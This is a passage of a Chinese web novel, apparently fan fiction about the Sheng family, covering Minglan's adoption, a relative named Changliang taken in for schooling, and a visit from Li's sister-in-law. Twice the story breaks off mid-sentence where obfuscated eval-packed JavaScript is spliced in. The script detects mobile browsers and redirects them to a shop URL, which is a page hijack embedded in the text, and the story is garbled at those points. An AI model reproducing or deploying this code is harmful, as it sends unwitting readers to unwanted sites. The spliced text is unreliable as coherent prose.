盛品兰的状态一直持续到中午吃饭时,盛瑾才发现撅着小嘴的盛品兰小朋友,对于盛品兰小朋友这样的行为,他深感疑惑,不过,没过多久,他便发现盛品兰小朋友再看着他抱着的盛明兰小朋友,思考了片刻后焕然大悟,于是他抱着盛明兰,半蹲弯腰对盛品兰小声地说着什么,盛品兰喜笑颜开的围着他转,其他人都不明所以。 晚上盛瑾与盛明兰一同入睡时,盛明兰一下子搂着盛瑾的腰,看上去像是把整个人埋在盛瑾怀中,盛瑾只听到小声地一句话,“爹爹,以后你就是我的亲爹爹了,真好啊!”盛瑾回搂着盛明兰,两人一起进入了梦乡。 盛明兰过继后的日子没有丝毫变化,只是在第二天的时候,盛老太太找来五个绣娘给她测量尺寸制作新衣裳,说起来这五个绣娘还是盛老太太特意让李氏帮忙找的,她们都是宥阳比较有名的绣娘,要不是盛老太太舍得出银钱,她们也不会退掉其他单子专程来盛家给盛明兰做衣裳。 正当绣娘们给盛明兰量完尺寸时,盛品兰突然出现在门口,她两样放光的看着盛明兰,语气中充满了惊喜,道:“妹妹你这是要制作新衣裳嘛。” 盛明兰的小脸因着绣娘们测量尺寸时的摆弄而微微通红,她有些茫然的点了点头,随即脱口而出,道:“品兰姐姐要不要也一起做衣裳呢?” 盛品兰闻言,眼中迸发出来的光芒更甚了,她将目光转向盛老太太,语气中带着些许不好意思,道:“二祖母,我可以和明兰妹妹一起做衣裳吗?我想和明兰妹妹穿一样的衣裳。”显然她还知道真正能做主的是谁。 盛老太太和盛大老太太相处极好,对盛淑兰和盛品兰的感官也不错,她目光柔和的看着盛品兰,道:“当然可以了。” 盛品兰喜笑颜开的对着盛老太太拍马屁,道:“太好了,谢谢二祖母,二祖母最好了,我可喜欢二祖母了。” 盛老太太听着盛品兰直白的话语,不禁莞尔一笑,随即吩咐起那五个绣娘给盛品兰量尺寸,并让她们将两人的衣裳款式制作的一样,不过,她从盛瑾送给盛明兰的小首饰中获得灵感,便让绣娘将衣裳的款式也仿着大人的样式来,方便盛明兰配套小首饰。 新衣裳并没让盛明兰和盛品兰等多久,毕竟五个绣娘的制衣速度还是很快的,新衣裳制好的当天,盛明兰便让小蝶通知盛品兰明天来她这里换衣裳,以至于盛品兰这天专门起了个大早跑来找盛明兰。 盛品兰和盛明兰一同在屋里迫不及待的换着新衣裳,等二人出来时,只见她们身上穿着同样的岚媛青绿百褶裙,手上带着盛明兰特意从她的小首饰中找出来的一对样式相同的九弯素纹平银镯子,这样的装扮使得她们看起来就像是缩小版的成人,她们兴奋的玩着假扮成人的游戏。 盛瑾瞧着盛明兰和盛品兰在那玩的不亦乐乎的样子,不禁感慨道:“小孩子的快乐真简单啊!”然后,他便叮嘱一旁的丫鬟们看着她们两个小孩子,自己则去找盛老太太一起聊天去了,而盛维这边还没查清楚盛家三房的事情,背后的人就亲自上门道歉了,这时他才得知是盛家三房的三房太太得罪了人,人家才朝他们下手的。 至于为什么背后的人回来道歉呢?主要还是那天盛维将盛瑾一脉记入族谱以及盛明兰姐弟过继之事办的十分隆重,引得宥阳的大户人家都十分好奇,以至于这件事情结束后,在宥阳的热度并未平息下来。 盛家在宥阳也算是大户人家了,因此盛维突然开祠堂这样的大事,自然而然也引起了宥阳其他大户人家的注意,再加上宥阳这个地方说大不大,说小不小,但凡有个风吹草动的,要不了多久便会传遍整个宥阳,更何况盛家并没有打算隐瞒什么,所以这件事情结束不到一天的时间,全宥阳都知道盛家出了一个国公爷的事情。 背后对盛家三房下手的人从始至终都盯着盛家呢,他当然不出意外的知道了这件事情,并且还以最快的速度打听到了那位国公爷是汴州城丰国公府的盛国公,他在得知盛瑾身份的当天被吓的汗流浃背啊! 那人也不是什么傻子,他先前之所以敢对盛家三房下手,也是调查过盛家三房和盛家的情况的,这盛家三房就没有一个有出息的,全靠盛家大房的援助,至于盛家二房天高皇帝远,哪里能为了这么点小事跑来宥阳找他麻烦啊!更何况他在宥阳也算是有头有脸的人物了,盛维不可能为了点银钱与他起争执,但是人算不如天算,他哪里知道盛家二房的老太太早不带晚不带,偏偏这个时候带了个儿子回来入族谱啊!他喵的还是一个位居正一品少师并且深得皇帝恩宠的国公爷啊!他就纳闷了,这盛家三房是烧了哪门子的高香啊!这都行啊! 背后的人怕自己的小动作惹怒盛瑾,便打算寻个时间来找盛维道歉,于是就有了今天上门致歉这一出,毕竟即便是整个宥阳都知道盛家三房和二房有矛盾,但一笔写不出两个盛字啊!难保盛家二房那位国公爷不会帮盛家三房的人,因此,为了保守起见他只能亲自上门道歉,并表示三千两不用还了。 盛维因为这件事情事出有因,并且挑起矛盾的是盛家三房的三房太太,也就表示这次不计较了,但是下不为例,于是那人连连道谢,并表示绝无下次后才离开的。 盛维派小厮前往盛家三房的住处告诉盛绉他们事情已经解决了,不过,当盛绉他们得知事情的起因时,盛三老太爷一下子暴跳如雷,随即便与盛绉夫妇闹了起来,盛绉面对盛三老太爷的闹腾一副事不关己高高挂起的样子,而三房太太面对盛三老太爷的暴怒也只是一个劲的抹眼泪,哭诉着自己都是为了盛家三房好之类的话,于是盛家三房顿时变得十分热闹,原先是他们与盛家大房闹,这次却是他们内部自己闹的,这也是后话了。 盛维安排完这些事情后,便沉思了好一会儿,最终决定将这件关于盛家三房的事情告诉盛瑾,毕竟这件事情之所以能顺利解决全靠盛瑾这个国公爷的身份。 盛维叫来小厮询问盛瑾在哪里后,便朝着盛老太太的院子里来了,于是就出现了盛维、盛瑾和盛老太太在院子正堂里一边喝茶一边聊着盛家三房的场景。 盛瑾听完盛维的描述后,再结合他所调查的盛家三房事情,心里暗暗道:“这盛家三房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8606241|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大事没有,小事不断,典型的欺软怕硬啊!不过,若是由着他们再这样下去,早晚得惹出些恶心人的事情来,盛家三房的事情最好由盛家三房的人内部解决,这样的话,还是要在盛家三房中找出一个愿意且能管住他们的人。” 盛瑾思索片刻,拿起茶杯,喝了口茶,语气淡然的询问道:“维堂兄,我对三房的情况不是很了解,不如,你给我讲讲这三房有几人,是个什么情况呢?” 盛维听到盛瑾这么说,也就开口介绍起了他们盛家的这颗老鼠屎,他在经过简短的讲解后,不由的感慨道:“要是三婶婶还在就好了,至少还能管住下面的小的。” 盛瑾在脑海中细细分析着盛维话中的所有人,思索片刻后,他面色不改道:“瑾堂兄,你觉得我们这个绉堂弟如何吗?” 盛维按着盛瑾的话,回忆了一下过往盛绉的表现,缓缓开口道:“我也不常见到绉堂弟,一般三房闹事时都是三叔父和三叔父的媳妇,他到没怎么说话。” 盛瑾看着盛维,手指敲了敲桌面,道:“那我们就从他入手吧,作为三叔父唯一的儿子,我可不相信三叔父和他媳妇闹事的背后,他毫不知情,只不过是有利可图才放手的,若是我们能给他比这更大的好处,想必他有的是办法拿捏住三叔父。” 从古至今的流传着一句话“不孝有三,无后为大”,这句话不仅仅指的是儿孙,还有父辈,盛瑾不相信他那三叔父心中一点都没盛绉的位子,恰恰相反的是他三叔父应该是很在乎这个儿子的,毕竟他是唯一的,还没有备胎的子嗣。 盛维思考了一下,到底没想出盛瑾此话的用意,于是他脸上浮现出一抹笑容,摸了把胡子,道:“瑾堂弟,你打算怎么做呢?” 盛瑾端起茶杯,喝了口茶后,将茶杯缓缓放下,道:“我记得盛家三房孙辈也只有一个男嗣吧,那也是我侄子,三房的人为他取名为盛长梁,梁为支撑屋顶的横木,可见三房的人对他寄予了厚望啊!如果我们能帮三房培养出这么一个顶梁柱的前提是绉堂弟管住三房的人,你说他会不会同意呢,虽然世人皆知为母则刚,但是有时候为父则刚这句话也是存在的。” 盛维思考了一下这件事情的可行性,眼中带着些许意动,语气中带着一丝不确定的意味,道:“瑾堂弟,你说绉堂弟会同意吗?” 盛维对此事存在一丝疑虑,毕竟一个随时随地都能提款的提款机和一个需要等很久才能长成的潜力股,是个人大概率都会选前者。 盛瑾嘴角微微弯起,语气中带着一丝肯定的意味,道:“只要他心里还有他的儿子,他会同意的,毕竟他已经在这泥塘里出不来了,他不会再让自己的儿子和他一样出不来,之前是因为没有人给他这个选择,现在有了这个选择,他知道如何选才是最好的,再者,他的心里很清楚,维堂兄你是因着三叔父的存在才对他们三房多有忍耐和帮扶,若是三叔父去世,那他们还能得到大房的帮扶嘛。” 此时一旁沉默不语的盛老太太突然开口道:“维哥儿,我觉得瑾儿这个法子可行,要不就听瑾儿的吧。” 盛维听盛老太太这么说,也觉得可以,毕竟盛老太太和盛三老太爷向来是侠者相逢勇者胜,而盛老太太每次都是那个勇者,于是他向盛老太太告退后,就离开了盛瑾他们的院子,去考虑如何实行这件事了。 另一边的李氏看到自家小女儿盛品兰这般打扮回来,便拉着盛品兰细细询问过后,她瞧着盛品兰那一身的打扮,心里不由的感叹道:“这瑾堂弟和二婶婶对明姐儿可真是用心啊!” 盛品兰讲完后便小跑回自己屋内玩耍了,而李氏瞧着远去的盛品兰,脸上浮现一抹笑容,随即对着方妈妈,道:“瑾堂弟和二婶婶可真是用心啊!你瞧瞧那衣服首饰真是小巧精致,一般人可真想不到把成人的衣服首饰做小了给小孩子穿戴,不过,品儿这丫头可真是没心眼子,明姐儿和二婶婶给了,她竟真的收下了。” 方妈妈在一旁轻声道:“大娘子莫要这么说四姑娘了,说到底也是我们四姑娘和明兰姑娘关系好,又得二房老太太喜爱,要不也不会让明兰姑娘和四姑娘一同制新衣裳,您是没瞧上那岚媛青绿百褶裙的料子有多好,那上面的刺绣也十分精美,还有那九弯素纹平银镯子看上去小巧精致,一点都不比大的差啊!” 李氏瞪了方妈妈一眼,然后,嘴角上扬,语气中带着一丝愉悦,道:“这还用你说,我看东西的能力还是有的,不过,我这个女儿啊!就是年龄上占了便宜,要不然能这样的好处嘛。” 李氏一想到原本应该属于王若弗女儿的好处都被自己女儿占了,心里就止不住的高兴啊!她在心里暗暗道:“让你王若弗高傲,现在这些好处可都是我女儿的了。” 一旁的方妈妈看见李氏又想偏了,便开口转移话题,道:“也是我们家四姑娘性子好,得了老太太和明兰姑娘的青睐。”可惜方妈妈的话并没有将李氏的思绪拉回来。 李氏一听这话,心里就更高兴了,她想着自己也该给王若弗添个堵了,便开口道:“今年给纮堂弟那边送节礼时,我这个堂嫂嫂也该给弟妹送封信来联络联络感情了。” 方妈妈一听哪里还不知道,自家大娘子是想和王大娘子炫耀一下自己女儿的收获啊!毕竟从盛家丫鬟小厮口中得知,盛瑾也给盛家的女眷们送过东西,不过都是扬州城里买的,虽贵重但远不及送给盛淑兰她们的,盛淑兰她们的礼物一看就是珍品,其制作工艺远不是扬州城的中上游水平工匠能制出来的。 方妈妈见劝不住李氏的想法,脸上浮现出一丝无奈的表情,轻声细语,道:“大娘子,你悠着点,别把那位刺激过头了。” 李氏满脸笑意,语气轻快,道:“我会看着办的,我又不傻,过了,容易给瑾堂弟带来麻烦,我只是想刺激刺激她,让她别轻看了明兰姐弟罢了。”而方妈妈看到李氏有分寸,便没再说什么,只是安静的站在一旁帮着李氏做事情。 第 50 章 清晨,盛维昨日思考了一夜后,今天一早就派小厮去盛家三房的住处找来了盛绉,他们两人在书房中聊了一个上午,至于那一个上午他们在房间里聊了什么,无人知晓。 等盛绉离开盛家回到盛家三房的住处后,当天下午盛家三房的邻居便听到盛家三房院内传出一阵阵的吵闹声,他们隐隐约约听到盛维夫妇争吵的声音,好似盛家三房太太哽咽道:“梁哥儿是你儿子,那秀儿和慧儿就不是你的女儿了吗?还有那月姐儿呢,若是我们不将她们送去大房,让大房帮忙教养,她们以后还有什么好前程啊!” 盛维语气中带着些许恼怒,道:“说的好听,别以为我不知道你打的什么主意,不过是想将她们送去大房占便宜罢了,我告诉你这不可能,谁也不能碍着我梁哥儿的路,我再说一遍,梁哥儿他是我唯一的儿子,只有他出人头地了,我们三房才能过的好,你莫要因着一些小利而坏了我梁哥儿的路,否则你休怪我不念夫妻之情休了你,莫要忘了你可没给我生下过一个儿子啊!”恐怕盛维也没想到因着自己及时找到盛绉商量,才避免了三房太太将三个女儿塞进盛家大房的心思,这真真是意外之喜啊! 在盛家三房发生大战后没多久,盛绉就将年仅九岁的盛长梁打包好,交给了盛维,也是至那天起,盛长梁的人生发生了翻天覆地的变化。 盛维从盛绉的动作来看,可以得知盛家三房这场大战的胜利者是盛绉,但最终的胜利者则是盛瑾和盛维。 盛维看着离去的盛绉,心里不禁感慨道:“这次真是赌对了,正如瑾堂弟所料,三房的人拧不过下定决心的盛绉。”他没有感慨多久,便带着盛长梁去见了盛瑾。 当盛长梁见到盛瑾时,正胆小的躲在盛维身后,他有些唯唯诺诺的看着盛瑾,脑海中满是离家前盛绉对他说的话“你要听你维堂伯父和瑾堂伯父的话,你爹我就这样了,但是你还小有别的选择,你要努力出人头地,别像你爹我那么没出息。” 小小的盛长梁知道此时决定自己命运的人就在眼前,但是他不知道要如何做,只能躲在盛维身后,从而寻求到安全感。 盛瑾看着眼前的盛长梁,不得不说,盛家的相貌还是可以的,再加上盛长梁被养的白白胖胖的,看上去十分可爱,只是这胆子属实是小了点。 可惜啊!盛瑾并不知道盛长梁被他的父亲狠狠地调教了一下才送过来的,要是之前的盛长梁,那可是捉鸡逗狗的一把好手啊!任谁看到都会头疼的熊孩子。 盛绉也知道盛长梁的性子是被三房太太给宠出来的,毕竟三房太太没有自己的亲生儿子,自觉腰杆子不够硬,便想要通过讨好盛长梁来拉进两人之间的关系,因此她对盛长梁格外的宠爱,不过,令人庆幸的是这时候的盛长梁还没有被完全宠坏。 盛长梁在经过盛绉这些天的严加管教后,才掰回来一点,再加之盛绉告诉盛长梁若是他惹盛维和盛瑾生气,那么他就不用回家了,这可把盛长梁的胆子吓破了,由此可见盛绉是多么怕盛瑾退货,盛长梁失去这次珍贵的机会啊! 盛瑾对这些事情都一无所知,他脸上浮现出淡淡的微笑,冲着盛长梁摆了摆手,轻声道:“你就是梁哥儿吧,过来给我看看。” 盛维闻言,轻轻拍了拍盛长梁的背,脸上表情没有丝毫变化,语气淡然,道:“梁哥儿过去吧,让你瑾堂伯父看看你。” 盛长梁顺着盛维的力道,慢慢的走到盛瑾面前,盛瑾摸了摸他的头,轻声道:“梁哥儿几岁了,都读过什么书嘛,平时喜欢干嘛。” 盛长梁脸上的神情充满了紧张,语气有些颤抖,道:“我九岁了,读过《三字经》、《弟子规》,平时喜欢出去玩。” 盛维皱了皱眉头,心里不禁暗暗责怪盛绉,道:“梁哥儿都这么大了,才读过两本书,这绉堂弟到底在干什么啊!也不重视一下孩子的学习,好歹梁哥儿也是他唯一的儿子啊!怎么能这般放纵梁哥儿呢?”其实他冤枉盛绉了,盛绉读的书也不多,盛长梁读过这两本书还是盛绉平时得空教的。 盛瑾听完盛长梁的话,脸上仍挂着淡淡的笑意,他揉了揉盛长梁的头,道:“你以后就随着我一同读书生活了,我家有几个比你大几岁的哥儿,日后你与他们一同读书可好吗?” 盛长梁一听还有小伙伴,心情一下子好了起来,他眉开眼笑,道:“嗯,爹爹让我听瑾堂伯父的话。”此时的他还不知道这些个读书的小伙伴可不会随着他一起逗猫弄狗。 盛瑾瞧着盛长梁这般样子,脸上的笑意又浓了几分,语气微微上扬,道:“那么我们今天先休息一天,明天就开始读书,梁哥儿觉得这样可好嘛。” 盛长梁本来以为到了就要开始读书,没想到居然能休息一天,他立马就开心的回道:“好的,瑾堂伯父。” 盛瑾目光柔和的看着盛长梁,拍了拍他的肩膀,语气中带着一丝笑意,道:“梁哥儿,你去院子里玩吧。” 安静站在一旁的盛维突然补充道:“梁哥儿,你也别去院里玩了,一个人多孤单啊!你去找你长梧堂哥玩吧。”随即便吩咐身旁的小厮将盛长梁带去找盛长梧了。 盛长梁在走的时候还回过头来看了一眼盛瑾,心里不由得想道:“瑾堂伯父没有想象中那么可怕,想来读书时应该不会像夫子那般凶我吧。” 等盛长梁出去了,盛维满是笑意的看着盛瑾,摸了摸胡子,道:“这梁哥儿就麻烦瑾堂弟受累带着了。” 盛瑾看着盛长梁离去的目光转到了盛维身上,嘴角微微勾起,道:“没什么麻烦的,若是回扬州城自有书院夫子教导,又若是回丰国公府,府中也有夫子将哥儿们一同教导,谈不上麻烦。” 盛瑾此时的心里不由得想道:“反正一只羊是放,一群羊也是放,无所谓了。”紧接着二人开始聊其他事情了。 早前盛瑾带着盛明兰读书时,盛维就将盛长梧塞进来过,但通过这些天的了解,盛瑾知道盛长梧心思不在读书上,而在习武上,于是他与盛维聊过这个话题,可盛维表示他只想要盛长梧读书识字受些书本的熏陶罢了,其他的不强求,因此盛长梧大多时候是与盛瑾在学兵法,也只有这个才能让盛长梧安下心来看书了。 从这天起盛长梁就跟着盛明兰、盛长梧、盛品兰一起学习了,盛长梁从来没有和自己家妹妹一起玩耍过,因而对此感到十分的新鲜并接受良好。 对于盛长梁跟着盛瑾一同学习的事情,盛家的人反应不同,李氏单纯的觉得心里不太舒服,但想起自家的大儿子以后是经商的,小儿子对读书不感兴趣,也就没有那么多不平了,反正她儿子现在还是在盛瑾那读书。 至于盛家其他人都知道盛瑾如今只是给盛长梁启蒙,并非真要教导他,毕竟盛瑾位居正一品少师,将来回汴州城大抵还会被皇帝重用,哪来的时间教导盛长梁学习,所以他们也知道等回扬州城盛瑾会将盛长梁送到书院读书,而回汴州城丰国公府则会由府中夫子教导盛长梁读书,因此,他们也就没有那么多的想法了。 盛长梁读书的事情就像一颗小石子掉进盛家这个池塘,掀起一阵小波浪后,又立马恢复了平静,毫无波澜,不过,也正是从那天起盛家三房就被盛绉拿捏的死死的,几乎没有来盛家大房闹过了,但盛维还是照旧给盛家三房那边送东西。 盛长梁在盛家大房读了几天书后,这日下午,李氏的大嫂嫂朱氏派小厮给李氏送来了拜帖,而李氏一看是娘家的大嫂嫂就直接将人请进来了。 朱氏一进房门看到李氏,满脸笑意,语气亲近,道:“三妹妹,我们真是好久不见了,公爹婆婆这些日子对你可甚是想念啊!” 李氏闻言,嘴角微微弯起,道:“大嫂嫂真是的,你这话说得好像我从未回过娘家似的,不过,多谢父亲母亲挂念,我这些时日对娘家也甚是想念。”可她话虽这么说,但心里却十分清楚她大嫂嫂今日是为了什么而来的。 朱氏见李氏这么说,脸上的笑意又浓了几分,她似是无意道:“我那侄女们呢,怎么不见她们呢?还有我那侄子们,怎么从进来就没看到他们的身影啊!” 李氏一听到朱氏说到自己的儿子女儿们,心里便乐开了花,嘴角有些微微上扬,道:“真是劳烦大嫂嫂挂念他们了,松哥儿八成正跟在他父亲身边学习如何打理家中生意,而淑姐儿此时应该和我小姑子的女儿桂姐儿一同玩耍呢,对了,我小姑子前些日子回娘家来住了些时日后便回婆家去了,不过,她念着淑姐儿一个人在家中无玩伴过于孤单,正好桂姐儿与淑姐儿岁数相差不大,又从小相识,便将桂姐儿留下来和淑姐儿结个伴了。” 李氏说到这里,语气中忍不住带着些许炫耀,道:“至于梧哥儿和品姐儿,他们此时正在瑾堂弟的院子里呢,前些天我家三房绉堂弟把他的儿子梁哥儿送到瑾堂弟身边读书习字,如今梧哥儿正和梁哥儿一同读书习字呢,不过,我家梧哥儿是个什么样的,我是最了解的,他啊!不喜读书,我和官人将他送去瑾堂弟那也不求他学的怎么样,只求他跟在瑾堂弟身边沾沾书气也行,品姐儿则是自个往那边跑的,说来也奇怪,这孩子不知为什么十分喜爱明姐儿,她自从有了明姐儿这个妹妹后,天天往她瑾堂叔父那跑,我和官人瞧着瑾堂弟对此没什么反应,也就随着她去了,况且我和官人觉得这样也好,瑾堂弟每天带着明姐儿读书习字时,她也能跟着学点东西,以后我教导她习字算账时也轻松些。” 朱氏精明聪慧很快就从李氏那里提炼出了重点,盛国公极其疼爱过继的女儿,并且对盛家大房的侄子侄女感官不错,以及盛家三房唯一的孙儿盛长梁不知为何被盛国公带在身边,不过,她听着李氏话中的意思恐怕盛国公一行人要在宥阳待一段时间。 朱氏此时的内心是十分羡慕盛长梁的,他们李家找个夫子都要到处求人,那盛长梁什么都不用做就能得到读书的资源,真是人比人气死人啊!不过,她心里也知道再怎么样盛长梁都是盛家的子孙,一笔写不出两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8610333|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛字,人家盛国公愿意带盛长梁也是因为他们之间有血缘关系,这只能说盛长梁命好,盛家出了个国公爷,还愿意扒拉一下亲戚。 朱氏无论心里怎么想,她面上都挂着一副笑脸,语气中带着一丝恭维的意味,道:“还是三妹妹你命好,儿女都不用愁了,有了个国公爷的堂叔父,这孩子们以后的前程远大着呢,没准以后你那两个侄子读书时遇到什么难事的,还要靠你这个姑母来帮衬呢。” 李氏不傻,她自然能听出朱氏话里暗含的意思,这种事情可不是她能随便应许的,毕竟她没有那么大的能耐,也不能替盛瑾做主。 李氏知道盛瑾愿意拉扯她的儿女是因为盛老太太对他们盛家大房的态度和他们家孩子们给盛瑾感官不错,再加上她的儿女与盛瑾有血缘关系,因此,盛瑾顺手拉拔帮着一下她的儿女也是没什么问题的,可她娘家却不同了,这盛瑾与李家,一没什么血缘关系,二素日从未有过交集,三盛瑾对李家没有什么可图的,人家盛瑾凭什么去帮她的娘家侄子呢,更何况若是她真的硬着头皮替朱氏开了口,一旦惹怒了盛瑾,恐怕会牵连她所生的孩子们,到时候且不说盛维,盛大老太太第一个不会放过她,毕竟盛大老太太和盛老太太多年的交情可不是她一个媳妇比得上的。 李氏这般想着心里十分不愿做这种得不偿失的事情,可她也不能一口回绝得罪死自己的娘家,于是李氏脸上浮现出一丝为难的神情,道:“大嫂嫂,话可不能这么说啊!靠我,我哪有那本事啊!再说了,我家老太太和二房老太太的交情你也是知道的,我不好做什么忤逆婆母之事,要不然会影响我们李家姑娘们的名声的。” 朱氏明白李氏的意思,也知道李氏会错了她的意思,于是她拉着李氏的手,语气中带着一丝歉意,道:“瞧我没把话说清楚,让三妹妹误会了,真真是该打啊!” 朱氏从一开始就没打算让李氏做什么,毕竟她也知道李氏只是一个堂嫂嫂罢了,又不是盛瑾他妹妹,还隔了一层,不好和盛瑾开口,她从始至终的目的都是想让李氏为她引荐盛老太太,毕竟那才是能做的了盛瑾主的人,慢慢维持和盛老太太的关系,在必要的时候开口,才是最正确的选择。 朱氏在李氏眼含疑惑的目光中,缓缓开口道:“我自然知道三妹妹你做不了这件事情的主,也不会拿这种事情去为难三妹妹你,我就是想让三妹妹去询问一下你家老太太,能否找个时间让我登门拜访一下,若是拜访时能遇上那位二房老太太就更好了。” 朱氏这番话相当是明示了,李氏哪里还能当做听不懂呢,她觉着见一面也没什么大不了的,但还是留了个心眼,于是她语气中带着一丝埋怨,道:“大嫂嫂也真是的,想要见我家老太太就明说嘛,拐弯抹角的,害我吓了一跳。” 李氏说到这里,语气变得亲近起来,道:“按理来说,我们两家是亲戚,大嫂嫂来拜见我家老太太也不无不可,但我家老太太这些天早晨都与二房老太太待在一块,因此,我还是需要去询问一下老太太的。” 朱氏也听出李氏话中的意思了,这盛老太太和盛大老太太关系极好,这些天早晨她们都在一块,自己无需特意找盛老太太在的时间上门,不过,盛大老太太是否接受她的拜访,李氏可不敢打包票,于是她满脸笑意,道:“当然,这自是要问过你家老太太的,成与不成,我都不会在意的,不过,大嫂嫂还是要替你侄子们谢谢三妹妹了。”紧接着她又和李氏含蓄了许久才离开的。 李氏等朱氏走后就直接找到了盛大老太太,此时盛老太太正在盛大老太太院中,盛大老太太听完李氏的话后,沉默片刻,抬头看了一眼盛老太太,见盛老太太脸色并无异样,又将目光转到李氏身上,道:“你娘家人想要来拜访我,这不是什么大事情,你看着安排就成。” 李氏闻言,脸上满是笑容,语气中带着一丝恭谨,道:“到底还是要请示一下母亲的,不过,母亲,我瞧着这天觉得明日日头应该不错,要不,我就让我娘家大嫂嫂明日上门,行吗?” 盛大老太太对此没有反驳,她脸上的神情没有发生丝毫变化,语气淡然,道:“既然你都这么说了,那就这样吧。” 李氏听着盛大老太太的话,笑容更灿烂了,她随即陪着盛大老太太和盛老太太说了一会儿话后才离开了。 盛大老太太瞧着李氏彻底消失的身影,眼中闪过一丝复杂,随即又将目光投向盛老太太,语气中带着一丝笑意,打趣道:“这也不知道是来找你的,还是来找我的。” 盛老太太对于盛大老太太的话,只是淡然一笑,道:“管她是来找谁的,既然是姻亲就无不接待的道理,更何况李家当年虽然拿庶女换了嫡女,但到底堂侄媳妇的嫁妆也没有减少半分,这些年他们对维哥儿也从未怠慢,就冲这点,我们见见她也无妨。” 盛大老太太瞧着盛老太太并未将此事放在心上,她也没必要抓着这件事情不放,于是她与盛老太太聊起了其他话题。 第 51 章 清晨,鸟语花香,盛老太太昨日便听出李氏话中的意思,于是她今天一早就带着盛明兰来到了盛大老太太的院子里,与盛大老太太一同闲聊。 盛品兰和盛明兰两位小朋友一向是形影不离的,一大早盛品兰就来到盛明兰所待着的院子,但是她并没有与往常一般看到盛明兰,于是她询问了丫鬟,得知盛老太太一大早就带着盛明兰去盛大老太太的院子后,她就像个小炮弹一样往盛大老太太的院子冲去。 当盛品兰冲到盛大老太太的院子时,已经是气喘吁吁的了,那样子活像是累的喘气吐舌的小奶狗。 盛大老太太看到这一幕,眼含笑意的打趣道:“我这小孙女啊!就是这样的急性子,你也不会慢点跑嘛,你妹妹又不会跑,瞧把自己累的。” 盛品兰听到盛老大太太这么说她,也不觉得尴尬,抹了把额头的汗水,正儿八经,道:“我这不就是想妹妹想得紧嘛,就跟别人常说的那个啥。” 盛品兰摸着头思考着,突然,她摸着头的手握紧成拳头,拍在另一只手上,道:“哦,一日不见如隔三秋。” 盛品兰说到这里,歪着头,用满是求夸奖的表情看向盛大老太太,道:“祖母,我说的对不对嘛。” 盛大老太太和盛老太太都被盛品兰的样子给逗笑了,盛大老太太笑了一会儿后,满眼慈爱,道:“对,对,对,我家品姐儿真是聪慧过人啊!都会用句得当了,看来这些时日和你瑾堂叔父他们一起读书,没有白读啊!” 盛老太太满脸笑意的附和道:“谁说不是嘛,不过,我家明姐儿性子还是太静了些,品姐儿平日里需要多带带明姐儿才好啊!” 盛品兰骄傲的抬起头,双手叉腰,底气十足,道:“对,祖母和二祖母说的对,更何况瑾堂叔父说我很聪明的,祖母,你不要小瞧我了,我可是很厉害的。” 盛大老太太和盛老太太再次被盛品兰的样子逗的乐的不行,她们瞧着盛品兰这厚脸皮和盛明兰通红的小脸简直有趣至极,过了好一会儿,盛老太太语气中带着一丝调笑的意味,道:“是,是,是,品姐儿真厉害,明儿还不去找你厉害的姐姐一块玩嘛。” 盛明兰的小脸因着盛老太太的话有些羞红,她一动不动的站在原地,而盛品兰再得到盛老太太的指令后,便迫不及待的迈着欢快的步伐,来到盛明兰面前,拉着盛明兰到一旁玩耍起来。 盛明兰的害羞没过一会儿便在盛品兰的带动下消失的一干二净了,她们两人站在一旁愉快的玩耍着,而两位老太太则是笑意盈盈的看着两个孩子玩耍,屋内一片岁月静好的景象。 不久后,李氏带着朱氏来到了盛大老太太的院门口,一名丫鬟进来禀报道:“大老太太,二老太太,大娘子和李家大娘子来了。” 盛大老太太眼底闪过一丝了然,随即笑意盈盈,语气中带着些许亲近,道:“李家大娘子来了嘛,快快请进来。” 一旁的盛明兰闻言,立马拉着盛品兰小跑到盛老太太身边,然后,她有些好奇的往门口看去,心里暗暗想道:“这李家大娘子是谁吗?” 盛明兰没有思考多久,她身旁回过神来的盛品兰便已然出言为她解惑了,只见盛品兰轻声道:“我舅母来这干什么嘛。” 盛明兰听到盛品兰的声音,顿时睁大眼睛,语气中带着一丝疑问,小声道:“李家大娘子是姐姐的舅母嘛。” 盛品兰小声地回道:“是啊!她是我舅母啊!”接着盛明兰和盛品兰小声嘀咕了一会儿后,又齐齐的看向门口。 不一会儿,李氏带着一个满头珠翠肌肤丰腴的妇人进来,那妇人一见到盛大老太太和盛老太太便恭敬的行礼,满脸笑意,语气中满是客气,道:“我近日闲来无事,想起以前常听着我小姑子念叨婶娘和气慈爱,如今盛家又有了喜事,便厚着脸皮来拜见了,我再此与两位老太太道一声恭喜,还望亲家老太太莫怪我突然来此叨扰啊!” 盛大老太太和盛老太太都是明白人,自然知道李家夫妇是冲着盛瑾来的,但到底是亲戚,更何况人家是来恭喜盛家的,也没什么不对的,于是盛大老太太笑意盈盈,语气随和道:“都是亲戚,说什么叨扰,快请坐吧。” 盛老太太一脸和蔼可亲,语气柔和的附和道:“大嫂嫂说的是啊!你们李家和我们盛家是姻亲,无需这么客气。” 朱氏见两位老太太都这么说,便放心的坐下,然后,她抬头看了一眼盛老太太身后的两个小姑娘,其中一个正是她的侄女盛品兰,那另一个不言而喻,就是盛国公之女盛明兰了。 